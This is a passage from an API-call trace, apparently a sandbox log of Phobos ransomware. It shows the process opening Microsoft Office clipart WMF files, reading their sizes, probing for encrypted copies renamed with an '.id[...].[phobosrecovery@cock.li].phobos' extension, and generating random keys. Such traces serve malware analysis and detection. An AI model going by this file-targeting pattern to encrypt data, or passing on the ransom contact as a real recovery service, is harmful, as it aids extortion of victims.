(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.082] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.083] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1084) returned 1 [0153.083] CloseHandle (hObject=0x564) returned 1 [0153.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02066_.wmf")) returned 0x220 [0153.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02066_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02066_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.083] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.084] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1140) returned 1 [0153.085] CloseHandle (hObject=0x564) returned 1 [0153.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf")) returned 0x220 [0153.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.085] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.086] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1644) returned 1 [0153.086] CloseHandle (hObject=0x564) returned 1 [0153.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf")) returned 0x220 [0153.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.086] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.087] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=672) returned 1 [0153.087] CloseHandle (hObject=0x564) returned 1 [0153.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02093_.wmf")) returned 0x220 [0153.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02093_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02093_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.087] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.088] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8168) returned 1 [0153.088] CloseHandle (hObject=0x564) returned 1 [0153.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf")) returned 0x220 [0153.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.088] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.089] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18454) returned 1 [0153.089] CloseHandle (hObject=0x564) returned 1 [0153.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf")) returned 0x220 [0153.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.089] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.090] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31824) returned 1 [0153.090] CloseHandle (hObject=0x564) returned 1 [0153.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf")) returned 0x220 [0153.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.091] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.091] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4068) returned 1 [0153.091] CloseHandle (hObject=0x564) returned 1 [0153.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02127_.wmf")) returned 0x220 [0153.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02127_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02127_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.092] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.092] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3328) returned 1 [0153.092] CloseHandle (hObject=0x564) returned 1 [0153.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf")) returned 0x220 [0153.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.093] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.093] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2272) returned 1 [0153.094] CloseHandle (hObject=0x564) returned 1 [0153.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf")) returned 0x220 [0153.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.094] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.095] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3604) returned 1 [0153.095] CloseHandle (hObject=0x564) returned 1 [0153.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf")) returned 0x220 [0153.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.096] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.097] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6084) returned 1 [0153.097] CloseHandle (hObject=0x564) returned 1 [0153.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02361_.wmf")) returned 0x220 [0153.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02361_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02361_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.097] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.098] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3368) returned 1 [0153.098] CloseHandle (hObject=0x564) returned 1 [0153.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf")) returned 0x220 [0153.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.098] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.100] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3188) returned 1 [0153.100] CloseHandle (hObject=0x564) returned 1 [0153.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf")) returned 0x220 [0153.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.100] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.102] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3308) returned 1 [0153.102] CloseHandle (hObject=0x564) returned 1 [0153.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf")) returned 0x220 [0153.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.102] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.103] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3032) returned 1 [0153.103] CloseHandle (hObject=0x564) returned 1 [0153.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf")) returned 0x220 [0153.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.103] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.105] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2376) returned 1 [0153.105] CloseHandle 